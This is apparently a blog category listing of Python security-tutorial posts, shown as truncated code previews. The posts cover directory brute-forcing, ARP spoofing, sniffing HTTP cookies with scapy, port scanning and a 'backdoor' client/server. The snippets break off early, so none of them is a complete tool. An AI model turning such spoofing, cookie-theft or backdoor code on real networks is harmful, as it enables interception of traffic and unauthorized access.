python
songling515010475
这个作者很懒,什么都没留下…
展开
-
Python实现目录爆破
import urllib3import queueimport threadingimport sysimport timedef main(url, threadNum): #以队列的形式获取爆破路径 pathQueue = getPath(url) #通过多线程进行爆破 threads = [] for i in range(threadNum): t = threading.Thread(target=blastingUr...原创 2020-06-02 10:58:35 · 958 阅读 · 0 评论 -
Python ARP欺骗
'''ARP欺骗'''from scapy.all import *import timefrom threading import Threaddef main(target_ip, gateway_ip): conf.verb = 0 #获取IP地址对应的MAC地址 target_mac = get_mac(target_ip) gateway_mac = get_mac(gateway_ip) #启动ARP欺骗 t = Thread(t.原创 2020-06-02 08:51:06 · 363 阅读 · 0 评论 -
Python使用scapy抓Cookie
from scapy.all import *# 数据包回调涵数def packetCallback(packet): if packet[TCP].payload: cookiePacket = bytes(packet[TCP].payload) if b"Cookie" in cookiePacket: for info in cookiePacket.split(b'\n'): if b'Refe.原创 2020-05-30 16:11:52 · 630 阅读 · 0 评论 -
Python聊天工具
import socketimport sysimport timeimport getoptfrom threading import Threadclass WebChat: #输出帮助信息 def usage(self): print("help info : python webChat.py -h") print("client : python webChat.py -t [target] -p [port]") p.原创 2020-05-29 15:17:16 · 464 阅读 · 0 评论 -
Python编写后门程序
帮助命令:>python backDoor.py -hhelp info : python backDoor.py -hclient : python backDoor.py -t [target] -p [port]server : python backDoor.py -lp [port]import socketimport getoptimport sysimport sysimport subprocessfrom threading import Thr..原创 2020-05-29 11:19:14 · 1517 阅读 · 0 评论 -
Python实现文件上传与下载
import sysimport socketimport getoptimport timeupFileName = ""#服务端涵数def server_handle(port): #创建服务端套接字 server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #绑定IP和端口 server.bind(('0.0.0.0', port)) #监听 server.listen(1.原创 2020-05-28 17:24:25 · 4547 阅读 · 0 评论 -
Python使用TCP端口扫描
import socketimport timefrom threading import Threaddef main(ip): print("开始扫描:%s"%ip) #扫描1~1024端口 for port in range(1, 1024): #创建多线程扫描,target参数是多线程执行的方法,args参数是方法所需参数 t = Thread(target=portScan, args=(ip, port)) #启动.原创 2020-05-28 15:06:06 · 366 阅读 · 0 评论 -
Python简单编写TCP客服端与服务端
Server:import socketdef main(target, port): #1.创建socket套接字 server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #2.绑定IP和端口 server.bind((target, port)) #3.进行监听 server.listen(10) print("[*] Listening on %s:%d" %(targ.原创 2020-05-28 14:21:36 · 254 阅读 · 0 评论